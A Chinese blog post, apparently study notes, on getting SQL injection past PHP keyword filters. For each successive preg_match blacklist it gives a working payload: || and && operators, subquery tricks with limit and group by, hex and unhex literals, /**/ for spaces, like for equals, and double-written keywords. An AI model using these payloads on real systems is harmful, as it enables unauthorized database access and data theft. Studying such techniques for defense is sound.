sql中limit后参数有引号_Web安全(二)SQL注入[六]

10eb06e0ab97b98c819209587fa67cd6.gif

点击上方蓝字关注!

注:本篇文章为个人学习笔记仅供学习交流。
目录

or和and过滤绕过方法

union过滤绕过方法

where过滤绕过

limit过滤绕过

group by过滤绕过

select及单引号过滤绕过

hex、unhex及substr过滤绕过

空格过滤绕过

等号过滤绕过

其他过滤绕过


表结构

6cd0b0eb7c313128d4017e3c6d3cee2c.png

or和and过滤绕过方法

过滤代码

preg_match('/(and|or)/i',$id)

绕过方法

or改为||

and改为&&

72723ba4a160ff8be19c6d6c2d68ace0.png

union过滤绕过方法

过滤代码

preg_match('/(and|or|union)/i',$id)

绕过方法

union语句部分改为or判断

 select * from users where id=1 || (select count(*) from users)>0;

cc199921992251faedac746e975550bb.png

where过滤绕过

过滤代码

preg_match('/(and|or|union|where)/i',$id)
过滤情况
1 || (select name from users where user_id=1) ='admin'

绕过方法

1 || (select name from users limit 1,1) ='admin'

42e622ab98972b0fec97078521f9d618.png

limit过滤绕过

过滤代码

preg_match('/(and|or|union|where|limit)/i',$id)

过滤情况

1 || (select user from users limit 1,1) ='admin'

绕过方法

1 || (select min(user) from group by user_id having user_id=1)='admin'

551177ac96e17ae2ff354dd06620b744.png

group by过滤绕过

过滤代码

preg_match('/(and|or|union|where|limit|group by)/i',$id)

过滤情况

1 || (select min(user) from group by user_id having user_id=1)='admin'

绕过方法

1|| (select substr((select group_concat(name)name from test),1,1))='t' 

select及单引号过滤绕过

过滤代码

preg_match('/(and|or|union|where|limit|group by|select|\')/i',$id)

过滤情况

1|| (select substr((select group_concat(name)name from test),1,1))='t' 
绕过代码
1 || substr(name,1,1)=0x74 或 1 || substr(name,1,1)=unhex(74)
hex、unhex及substr过滤绕过

过滤代码

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr)/i',$id)

过滤情况

1 || substr(name,1,1)=unhex(74)

绕过代码

1 || binary(name)>0x74

空格过滤绕过

绕过方法

通过将空格进行URL编码或使用注释/**/代替空格。

等号过滤绕过

绕过方法

将等号用like关键字代替。

其他绕过

双写绕过,针对关键字匹配替换空格的绕过,如ununionion。

更多请参考CTF自学笔记(二)SQL注入攻击[三]

end

 往期推荐 

?

Web安全(二)SQL注入[三]

Web安全(二)SQL注入[四]

Web安全(二)SQL注入[五]

b871d538e033bd6bfdb98d7fd98d1aec.gif

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值